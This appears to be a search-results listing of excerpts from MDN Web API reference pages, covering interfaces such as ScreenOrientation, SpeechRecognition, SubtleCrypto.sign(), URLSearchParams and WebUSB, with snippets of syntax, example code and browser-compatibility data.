ientation APIThe definition of 'type' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rnettypeChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
ScreenOrientation.unlock() - Web APIs
ation APIThe definition of 'unlock()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...etunlockChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
ScriptProcessorNode.bufferSize - Web APIs
The bufferSize property of the ScriptProcessorNode interface returns an integer representing both the input and output buffer size, in sample-frames. Its value can be a power of 2 value in the range 256-16384. Syntax var audioCtx = new AudioContext(); var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1); console.log(scriptNode.bufferSize); Value An integer. ...
... Working Draft ...
ScriptProcessorNode.onaudioprocess - Web APIs
The onaudioprocess event handler of the ScriptProcessorNode interface represents the EventHandler to be called for the audioprocess event that is dispatched to ScriptProcessorNode node types. An event of type AudioProcessingEvent will be dispatched to the event handler. Syntax var audioCtx = new AudioContext(); var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1); scriptNode.onaudioprocess = function() { ... ...
... Working Draft ...
ScriptProcessorNode - Web APIs
The ScriptProcessorNode interface is an AudioNode audio-processing module that is linked to two buffers, one containing the input audio data, one containing the processed output audio data. ...
... Working Draft ...
Selection.removeAllRanges() - Web APIs
APIThe definition of 'Selection.removeAllRanges()' in that specification. Working Draft Current Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...hrome Full support YesEdge Full support 12Firefox Full support YesIE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
Selection.removeRange() - Web APIs
ion APIThe definition of 'Selection.removeRange()' in that specification. Working Draft Current Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... InternetremoveRange ExperimentalChrome Full support 58Edge Full support 12Firefox Full support YesIE ? ...
Selection.selectAllChildren() - Web APIs
The Selection.selectAllChildren() method adds all the children of the specified node to the selection. Previous selection is lost. Syntax sel.selectAllChildren(parentNode) Parameters parentNode All children of parentNode will be selected. parentNode itself is not part of the selection. ...
...the children of the specified node to the selection. Previous selection is lost. Syntax sel.selectAllChildren(parentNode) Parameters parentNode All children of parentNode will be selected. parentNode itself is not part of the selection. ...
Selection.toString() - Web APIs
ction APIThe definition of 'Selection: toString()' in that specification. Working Draft Current Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...AndroidSafari on iOSSamsung InternettoString ExperimentalChrome Full support 1Edge Full support <=18Firefox Full support YesIE ? Opera Full support YesSafari ?
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS ? Samsung Internet Android Full support ...
Using server-sent events - Web APIs
This is one-way connection, so you can't send events from a client to a server. Receiving events from the server The server-sent event API is contained in the EventSource interface; to open a connection to the server to begin receiving events from it, create a new EventSource object with the URL of a script that generates the events. ...
...for that message. Each field is represented by the field name, followed by a colon, followed by the text data for that field's value. Fields Each message received has some combination of the following fields, one per line: event A string identifying the type of event described. If this is specified, an event will be dispatched on the browser to the listener for the specified event name; the
website source code should use addEventListener() to listen for named events. The onmessage handler is called if no event name is specified for a message. data The data field for the message. When the EventSource receives multiple consecutive lines that begin with data:, it concatenates them, inserting a newline character between each one. Trailing newlines are removed. id The event ID to set the...
ServiceWorkerRegistration.navigationPreload - Web APIs
sThe definition of 'navigationPreload' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 44Notes Full support 44Notes Notes Extended Support Releases (ESR) before Firefox 78 ESR do not support service workers and the Push API.IE No support NoOpera Full support 46Safari Full support 11.1
WebView Android Full support 59Chrome Android Full support 59Firefox Android Full support 44Opera Android Full support 43Safari iOS Full support 11.3Samsung Internet Android ...
ServiceWorkerRegistration - Web APIs
You register a service worker to control one or more pages that share the same origin. The lifetime of a service worker registration is beyond that of the ServiceWorkerRegistration objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active ServiceWorkerRegistration objects. Note: This feature is available in
Web Workers. Properties Also implements properties from its parent interface, EventTarget. ServiceWorkerRegistration.scope Read only Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the ServiceWorker. ServiceWorkerRegistration.installing Read only Returns a service worker whose state is installing. This is initial...
... ...
SharedWorkerGlobalScope.onconnect - Web APIs
HTML Living StandardThe definition of 'onconnect' in that specification. Living Standard Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Samsung Internet Android Full support ...
SourceBuffer - Web APIs
diaSource object. This can be made up of one or several media segments. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/SourceBuffer" target="_top"><rect x="151" y="1" width="120" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">SourceBuffer</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Sou...
SourceBufferList - Web APIs
ng array operator (i.e. []) or functions such as forEach() for example. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/SourceBufferList" target="_top"><rect x="151" y="1" width="160" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">SourceBufferList</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Propertie...
SpeechGrammar - Web APIs
Grammar is defined using JSpeech Grammar Format (JSGF.) Other formats may also be supported in the future. Constructor SpeechGrammar.SpeechGrammar() Creates a new SpeechGrammar object. Properties SpeechGrammar.src Sets and returns a string containing the grammar from within in the SpeechGrammar object instance. SpeechGrammar.weight Optional Sets and returns the weight of the SpeechGrammar object. ...
... Draft ...
SpeechGrammarList - Web APIs
Grammar is defined using JSpeech Grammar Format (JSGF.) Other formats may also be supported in the future. Constructor SpeechGrammarList.SpeechGrammarList() Creates a new SpeechGrammarList object. Properties SpeechGrammarList.length Read only Returns the number of SpeechGrammar objects contained in the SpeechGrammarList. Methods SpeechGrammarList.item() Standard getter -- allows individual SpeechGrammar objects to be retrieved from the SpeechGrammarList using array syntax. ...
... Draft ...
SpeechRecognition: result event - Web APIs
The result event of the
Web Speech API is fired when the speech recognition service returns a result -- a word or phrase has been positively recognized and this has been communicated back to the app Bubbles No Cancelable No Interface SpeechRecognitionEvent Event handler property onresult Examples This code is excerpted from our Speech color changer example. You can use the result event in an addEventListener method: var recognition = new
webkitSpeechRecognition() || new SpeechRecognition(); recognition.addEventListener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textContent = 'Result received: ' + color + '.'; bg.style.backgroundColor = color; }); Or use the onresult event han...
... Draft ...
SpeechRecognition: start event - Web APIs
The start event of the
Web Speech API SpeechRecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition. Bubbles No Cancelable No Interface Event Event handler property onstart Examples You can use the start event in an addEventListener method: var recognition = new
webkitSpeechRecognition() || new SpeechRecognition(); recognition.addEventListener('start', function() { console.log('Speech recognition service has started'); }); Or use the onstart event handler property: recognition.onstart = function() { console.log('Speech recognition service has started'); } Specifications Specificatio...
... Draft ...
SpeechRecognition - Web APIs
Note: On some browsers, like Chrome, using Speech Recognition on a
web page involves a server-based recognition engine. Your audio is sent to a
web service for recognition processing, so it won't work offline. Constructor SpeechRecognition.SpeechRecognition() Creates a new SpeechRecognition object. Properties SpeechRecognition also inherits properties from its parent interface, EventTarget. ...
... Draft ...
SpeechRecognitionAlternative - Web APIs
Properties SpeechRecognitionAlternative.transcript Read only Returns a string containing the transcript of the recognised word. SpeechRecognitionAlternative.confidence Read only Returns a numeric estimate of how confident the speech recognition system is that the recognition is correct. Examples This code is excerpted from our Speech color changer example. recognition.onresult = function(event) { // The SpeechRecognitionEvent results property returns a SpeechRecognitionResultList object // The SpeechRecognitionResultList object contains SpeechRecognitionResult objects. ...
...ccessed like arrays. // The second [0] returns the SpeechRecognitionAlternative at position 0. // We then return the transcript property of the SpeechRecognitionAlternative object var color = event.results[0][0].transcript; diagnostic.textContent = 'Result received: ' + color + '.'; bg.style.backgroundColor = color; } Specifications Specification Status Comment
Web Speech APIThe definition of 'SpeechRecognitionAlternative' in that specification. Draft ...
SpeechRecognitionEvent - Web APIs
Properties SpeechRecognitionEvent also inherits properties from its parent interface, Event. SpeechRecognitionEvent.emma Read only Returns an Extensible MultiModal Annotation markup language (EMMA) -- XML -- representation of the result. SpeechRecognitionEvent.interpretation Read only Returns the semantic meaning of what the user said. SpeechRecognitionEvent.resultIndex Read only Returns the lowest index value result in the SpeechRecognitionResultList "array" that has actually changed. ...
...ccessed like arrays. // The second [0] returns the SpeechRecognitionAlternative at position 0. // We then return the transcript property of the SpeechRecognitionAlternative object var color = event.results[0][0].transcript; diagnostic.textContent = 'Result received: ' + color + '.'; bg.style.backgroundColor = color; } Specifications Specification Status Comment
Web Speech APIThe definition of 'SpeechRecognitionEvent' in that specification. Draft ...
SpeechRecognitionResult - Web APIs
Properties SpeechRecognitionResult.isFinal Read only A Boolean that states whether this result is final (true) or not (false) -- if so, then this is the final time this result will be returned; if not, then this result is an interim result, and may be updated later on. ...
...ccessed like arrays. // The second [0] returns the SpeechRecognitionAlternative at position 0. // We then return the transcript property of the SpeechRecognitionAlternative object var color = event.results[0][0].transcript; diagnostic.textContent = 'Result received: ' + color + '.'; bg.style.backgroundColor = color; } Specifications Specification Status Comment
Web Speech APIThe definition of 'SpeechRecognitionResult' in that specification. Draft ...
SpeechRecognitionResultList - Web APIs
Properties SpeechRecognitionResultList.length Read only Returns the length of the "array" -- the number of SpeechRecognitionResult objects in the list. Methods SpeechRecognitionResultList.item A standard getter that allows SpeechRecognitionResult objects in the list to be accessed via array syntax. Examples This code is excerpted from our Speech color changer example. ...
...ccessed like arrays. // The second [0] returns the SpeechRecognitionAlternative at position 0. // We then return the transcript property of the SpeechRecognitionAlternative object var color = event.results[0][0].transcript; diagnostic.textContent = 'Result received: ' + color + '.'; bg.style.backgroundColor = color; } Specifications Specification Status Comment
Web Speech APIThe definition of 'SpeechRecognitionResultList' in that specification. Draft ...
SpeechSynthesis: voiceschanged event - Web APIs
The voiceschanged event of the
Web Speech API is fired when the list of SpeechSynthesisVoice objects that would be returned by the SpeechSynthesis.getVoices() method has changed (when the voiceschanged event fires.) Bubbles No Cancelable No Interface Event Event handler property onvoiceschanged Examples This could be used to repopulate a list of voices that the user can choose between when the event fires. You can use the voiceschanged event in an addEventListener method: var synth = window.speechSynthesis; synth.addEventListener('voiceschanged', function() { var voices = synth.getVoices(); for(i = 0; i < voices.length ; i++) { var option = document.createElement('option'); option.textContent = voices[i].name + ...
... Draft ...
SpeechSynthesis - Web APIs
Properties SpeechSynthesis also inherits properties from its parent interface, EventTarget. SpeechSynthesis.paused Read only A Boolean that returns true if the SpeechSynthesis object is in a paused state. SpeechSynthesis.pending Read only A Boolean that returns true if the utterance queue contains as-yet-unspoken utterances. SpeechSynthesis.speaking Read only A Boolean that returns true if an utterance is currently in the process of being spoken -- even if SpeechSynthesis is in a paused state. ...
... Draft ...
SubtleCrypto.sign() - Web APIs
Return value signature is a Promise that fulfills with an ArrayBuffer containing the signature. Exceptions The promise is rejected when the following exception is encountered: InvalidAccessError Raised when the signing key is not a key for the request signing algorithm or when trying to use an algorithm that is either unknown or isn't suitable for signing. Supported algorithms The
Web Crypto API provides four algorithms that can be used for signing and signature verification. Three of these algorithms -- RSASSA-PKCS1-v1_5, RSA-PSS, and ECDSA -- are public-key cryptosystems that use the private key for signing and the public key for verification. These systems all use a digest algorithm to hash the message to a short fixed size before signing. The choice of digest algorithm is...
...he sign operation. */ function getMessageEncoding() { const messageBox = document.querySelector(".hmac #message"); let message = messageBox.value; let enc = new TextEncoder(); return enc.encode(message); } let encoded = getMessageEncoding(); let signature = await window.crypto.subtle.sign( "HMAC", key, encoded ); Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.sign()' in that specification. Recommendation Initial definition. ...
TaskAttributionTiming.containerId - Web APIs
API 1The definition of 'containerId' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ndroidSafari on iOSSamsung InternetcontainerId ExperimentalChrome Full support 58Edge Full support <=79Firefox No support NoIE ? Opera Full support YesSafari ?
WebView Android Full support 58Chrome Android Full support 58Firefox Android No support NoOpera Android Full support YesSafari iOS ? Samsung Internet Android Full support ...
TaskAttributionTiming.containerType - Web APIs
PI 1The definition of 'containerType' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...roidSafari on iOSSamsung InternetcontainerType ExperimentalChrome Full support 58Edge Full support <=79Firefox No support NoIE ? Opera Full support YesSafari ?
WebView Android Full support 58Chrome Android Full support 58Firefox Android No support NoOpera Android Full support YesSafari iOS ? Samsung Internet Android Full support ...
TaskAttributionTiming - Web APIs
mbed or object that is being implicated, on the whole, for a long task. ...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PerformanceEntry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#D4DDE4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/TaskAttributionTiming" target="_top"><rect x="201" y="1" width="210" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">TaskAttributionTiming</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} ...
HTMLSlotElement.assignedSlot - Web APIs
Comment DOMThe definition of 'assignedSlot' in that specification. Living Standard Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...amsung InternetassignedSlotChrome Full support 53Edge Full support <=18Firefox Full support YesIE ? ...
TextTrack.mode - Web APIs
iate times; the track's text is also being drawn appropriately based on the styling and the track's kind. This is the default value if the text track's default Boolean attribute is specified. Usage notes The default mode is disabled, unless the default Boolean attribute is specified, in which case the default mode is showing. When a text track is loaded in the disabled state, the corresponding
WebVTT file is not loaded until the state changes to either showing or hidden. This way, the resource fetch and memory usage are avoided unless the cues are actually needed. However, that means that if you wish to perform any actions involving the track's cues while handling, for example, the load event--in order to process some aspect of the cues upon page load--and the track mode was initially dis...
...at performance varies depending on each text track's kind. In general: Tracks whose kind is "subtitles" or "captions" are rendered with the cues overlaid over the top of the video. Tracks whose kind is "descriptions" are presented in a non-visual form (for example, the text might be spoken to describe the action in the video). Tracks whose kind is "chapters" are used by the user agent or the
Web site or
Web app to construct and present an interface for navigating the named chapters, where each cue in the list represents a chapter in the media. The user can then navigate to the desired chapter, which begins at the cue's start position and ends at the cue's end position. Example In this example, we configure the text track's cues so that every time a cue is finished, the video automatic...
TimeEvent - Web APIs
, provides specific contextual information associated with Time events. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/TimeEvent" target="_top"><rect x="116" y="1" width="90" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="161" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">TimeEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties TimeEvent.
Using Touch Events - Web APIs
A disadvantage to using mouse events is that they do not support concurrent user input, whereas touch events support multiple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences. The touch events interfaces support application specific single and multi-touch interactions such as a two-finger gesture. A multi-touch interaction starts when a finger (or stylus) first touches the contact surface. ...
...mouse handling code. The implementation status of pointer events in browsers is relatively high with Chrome, Firefox, IE11 and Edge having complete implementations. Examples and demos The following documents describe how to use touch events and include example code: Touch Events Overview Implement Custom Gestures Introduction to Touch events in JavaScript Add touch screen support to your
website (The easy way) Touch event demonstrations: Paint Program (by Rick Byers) Touch/pointer tests and demos (by Patrick H. Lauke) Community Touch Events Community Group Mail list W3C #touchevents IRC channel Related topics and resources Pointer Events Standard ...
Transferable - Web APIs
The Transferable interface represents an object that can be transfered between different execution contexts, like the main thread and
Web workers. This is an abstract interface and there is no object of this type. This interface does not define any method or property; it is merely a tag indicating objects that can be used in specific conditions, such as being transfered to a Worker using the Worker.postMessage() method. Note: The Transferable interface technically no longer exists. The functionality of Transferable objects still exists, however, but is implemented at a more fundamental level (technically speaking, using the [Transferable]
WebIDL extended attribute). The ArrayBuffer, MessagePort, ImageBitmap and OffscreenCanvas types implement this interface. Properties The Transferabl...
...operties The Transferable interface does not implement or inherit specific properties. Methods The Transferable interface does not implement or inherit specific properties. Specifications Specification Status Comment HTML Living StandardThe definition of 'Transferable' in that specification. Living Standard Replaced Transferable interface with [Transferable]
Web IDL extended attribute. HTML5The definition of 'Transferable' in that specification. Recommendation Initial definition. ...
UIEvent.layerX - Web APIs
ze="7" /> </form> </div> </body> </html> Specifications This property is not part of any specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...dChrome Full support YesEdge Full support 12Firefox Full support YesIE Full support 9Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
UIEvent - Web APIs
ocusEvent, KeyboardEvent, WheelEvent, InputEvent, and CompositionEvent. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/UIEvent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">UIEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructors UIEvent() ...
URLSearchParams - Web APIs
The URLSearchParams interface defines utility methods to work with the query string of a URL. An object implementing URLSearchParams can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mySearchParams) {} for (const [key, value] of mySearchParams.entries()) {} Note: This feature is available in
Web Workers. Constructor URLSearchParams() Returns a URLSearchParams object instance. Methods URLSearchParams.append() Appends a specified key/value pair as a new search parameter. URLSearchParams.delete() Deletes the given search parameter, and its associated value, from the list of all search parameters. URLSearchParams.entries() Returns an iterator allowing iteration through all key/value pairs contained in th...
...s var paramsString = "q=URLUtils.searchParams&topic=api"; var searchParams = new URLSearchParams(paramsString); //Iterate the search parameters. for (let p of searchParams) { console.log(p); } searchParams.has("topic") === true; // true searchParams.get("topic") === "api"; // true searchParams.getAll("topic"); // ["api"] searchParams.get("foo") === null; // true searchParams.append("topic", "
webdev"); searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=
webdev" searchParams.set("topic", "More
webdev"); searchParams.toString(); // "q=URLUtils.searchParams&topic=More+
webdev" searchParams.delete("topic"); searchParams.toString(); // "q=URLUtils.searchParams" Gotchas The URLSearchParams constructor does not parse full URLs. However, it will strip an initial leading ? off o...
URLUtilsReadOnly.origin - Web APIs
inition of 'URLUtilsReadOnly.origin' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...n ExperimentalChrome No support NoEdge No support NoFirefox Full support 29IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 29Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URL API - Web APIs
The URL API is a component of the URL standard, which defines what constitutes a valid Uniform Resource Locator and the API that accesses and manipulates URLs. The URL standard also defines concepts such as domains, hosts, and IP addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded MIME type used to submit
web forms' contents as a set of key/value pairs. URL concepts and usage The majority of the URL standard is taken up by the definition of a URL and how it is structured and parsed. Also covered are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing IP addresses and DOM addresses are specified. More interesting to most developers is the API itself. Accessing URL components Creati...
...ed are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing IP addresses and DOM addresses are specified. More interesting to most developers is the API itself. Accessing URL components Creating an URL object for a given URL parses the URL and provides quick access to its constituent parts through its properties. let addr = new URL("/docs/
Web/API/URL_API"); let host = addr.host; let path = addr.pathname; The snippet above creates a URL object for the article you're reading right now, then fetches the host and pathname properties. In this case, those strings are developer.mozilla.org and /docs/
Web/API/URL_API, respectively. Changing the URL Most of the properties of URL are settable; you can write new values to them to alter the UR...
USBAlternateInterface - Web APIs
An interface includes one or more alternate settings which can configure a set of endpoints based on the operating mode of the device. Constructor USBAlternateInterface.USBAlternateInterface Creates a new USBAlternateInterface object which will be populated with information about the alternate interface of the provided USBInterface with the given alternate setting number. Properties USBAlternateInterface.alternateSettingRead only Returns the alternate setting number of this interface. This is equal to the bAlternateSetting field of the interface descriptor defining this interface. ...
...evice. This is the value of the string descriptor with the index specified by the iInterface field of the interface descriptor defining this interface. USBAlternateInterface.endpointsRead only Returns an array containing instances of the USBEndpoint interface describing each of the endpoints that are part of this interface. Specifications Specification Status Comment
WebUSBThe definition of 'USBAlternateInterface' in that specification. Draft Initial definition. ...
USBConfiguration - Web APIs
Constructor USBConfiguration.USBConfiguration() Creates a new USBConfiguration object which contains information about the configuration on the provided USBDevice with the given configuration value. Properties USBConfiguration.configurationValueRead only Returns the configuration value of this configuration. This is equal to the bConfigurationValue field of the configuration descriptor provided by the device defining this configuration. USBConfiguration.configurationNameRead only Returns the name provided by the device to describe this configuration. ...
...ation. This is equal to the value of the string descriptor with the index provided in the iConfiguration field of the configuration descriptor defining this configuration. USBConfiguration.interfacesRead only Returns an array containing instances of the USBInterface describing each interface supported by this configuration. Specifications Specification Status Comment
WebUSBThe definition of 'USBConfiguration' in that specification. Draft Initial definition. ...
USBDevice.clearHalt() - Web APIs
See the for details. Syntax var promise = USBDevice.clearHalt(direction, endpointNumber) Parameters direction Indicates whether the devices input or output should be cleared. Valid values are 'in' or 'out'. endpointNumber Indicates the number of the endpoint to clear. ...
... Draft Initial definition. ...
USBDevice.opened - Web APIs
Syntax var serialNumber = USBDevice.opened Value A boolean. Example This example is for a hypothetical USB device with a multi-colored LED. It shows how to test that a device is open before calling USBDevice.controlTransferOut to set a specified LED color. What data can be passed to a USB device and how it is passed is particular and unique to each device. ...
... Draft Initial definition. ...
USBDevice - Web APIs
Properties USBDevice.configuration Read only A USBConfiguration object for the currently selected interface for a paired USB device. USBDevice.configurations Read only An array of device-specific interfaces for controlling a paired USB device. USBDevice.deviceClass Read only One of three properties that identify USB devices for the purpose of loading a USB driver that will work with that device. The other two properties are USBDevice.deviceSubclass and USBDevice.deviceprotocol. ...
...n the specified configuration is selected. USBDevice.transferIn() Returns a Promise that resolves with a USBTransferInResult when bulk or interrupt data is received from the USB device. USBDevice.transferOut() Returns a Promise that resolves with a USBTransferOutResult when bulk or interrupt data is sent to the USB device. Specifications Specification Status Comment
WebUSBThe definition of 'USBDevice' in that specification. Draft Initial definition. ...
USBEndpoint - Web APIs
An endpoint represents a unidirectional data stream into or out of a device. Constructor USBEndpoint.USBEndpoint Creates a new USBEndpoint object which will be populated with information about the endpoint on the provided USBAltenateInterface with the given endpoint number and transfer direction. Properties USBEndpoint.endpointNumber Returns this endpoint's "endpoint number" which is a value from 1 to 15 extracted from the bEndpointAddress field of the endpoint descriptor defining this endpoint. This value is used to identify the endpoint when calling methods on USBDevice. ...
...const endpoint of alternate.endpoints) { // Identify the bulk transfer endpoints. if (endpoint.type != "bulk") { continue; } if (endpoint.direction == "in") { inEndpoint = endpoint.endpointNumber; } else if (endpoint.direction == "out") { outEndpoint = endpoint.endpointNumber; } } } Specifications Specification Status Comment
WebUSBThe definition of 'USBEndPoint' in that specification. Draft Initial definition. ...
USBInTransferResult - Web APIs
It represents the result from requesting a transfer of data from the USB device to the USB host. Constructor USBInTransferResult.USBInTransferResult() Creates a new USBInTransferResult object with the provided status and data fields. Properties USBInTransferResult.dataRead only Returns a DataView object containing the data received from the USB device, if any. USBInTransferResult.statusRead only Returns the status of the transfer request, one of: "ok" - The transfer was successful. ...
... device indicated an error by generating a stall condition on the endpoint. A stall on the control endpoint does not need to be cleared. A stall on a bulk or interrupt endpoint must be cleared by calling clearHalt() before transferIn() can be called again. "babble" - The device responded with more data than was expected. Specifications Specification Status Comment
WebUSBThe definition of 'USBInTransferResult' in that specification. Draft Initial definition. ...
USBInterface - Web APIs
An interface represents a feature of the device which implements a particular protocol and may contain endpoints for bidirectional communication. Constructor USBInterface.USBInterface Creates a new USBInterface object which will be populated with information about the interface on the provided USBConfiguration with the given interface number. Properties USBInterface.interfaceNumberRead only Returns the interface number of this interface. This is equal to the bInterfaceNumber field of the interface descriptor defining this interface. ...
... Draft Initial definition. ...
USBIsochronousInTransferPacket - Web APIs
It represents the status of an individual packet from a request to transfer data from the USB device to the USB host over an isochronous endpoint. Constructor USBIsochronousInTransferPacket.USBIsochronousInTransferPacket() Creates a new USBIsochronousInTransferPacket object with the provided status and data fields. Properties USBIsochronousInTransferPacket.dataRead only Read only Returns a DataView object containing the data received from the USB device in this packet, if any. ...
...ad only Returns the status of the transfer request, one of: "ok" - The transfer was successful. "stall" - The device indicated an error by generating a stall condition on the endpoint. A stall on an isochronous endpoint does not need to be cleared. "babble" - The device responded with more data than was expected. Specifications Specification Status Comment
WebUSBThe definition of 'USBIsochronousInTransferPacket' in that specification. Draft Initial definition. ...
USBIsochronousInTransferResult - Web APIs
It represents the result from requesting a transfer of data from the USB device to the USB host. Constructor USBIsochronousInTransferResult.USBIsochronousInTransferResult() Creates a new USBIsochronousInTransferResult object with the provided packets and data fields. Properties USBIsochronousInTransferResult.dataRead only Returns a DataView object containing the data received from the device. This is the combined data from all packets. See the individual DataView objects in the packets array for the portion of this buffer containing data from each packet. ...
...ata from all packets. See the individual DataView objects in the packets array for the portion of this buffer containing data from each packet. USBIsochronousInTransferResult.packetsRead only Returns an array of USBIsochronousInTransferPacket objects containing the result of each request to receive a packet from the device. Specifications Specification Status Comment
WebUSBThe definition of 'USBIsochronousInTransferResult' in that specification. Draft Initial definition. ...
USBIsochronousOutTransferPacket - Web APIs
It represents the status of an individual packet from a request to transfer data from the USB host to the USB device over an isochronous endpoint. Constructor USBIsochronousOutTransferPacket.USBIsochronousOutTransferPacket() Creates a new USBIsochronousOutTransferPacket object with the provided status and bytesWritten fields. Properties USBIsochronousOutTransferPacket.bytesWrittenRead only Returns the number of bytes from the packet that were sent to the device. ...
...t were sent to the device. USBIsochronousOutTransferPacket.statusRead only Returns the status of the transfer request, one of: "ok" - The transfer was successful. "stall" - The device indicated an error by generating a stall condition on the endpoint. A stall on an isochronous endpoint does not need to be cleared. Specifications Specification Status Comment
WebUSBThe definition of 'USBIsochronousOutTransferPacket' in that specification. Draft Initial definition. ...
USBOutTransferResult - Web APIs
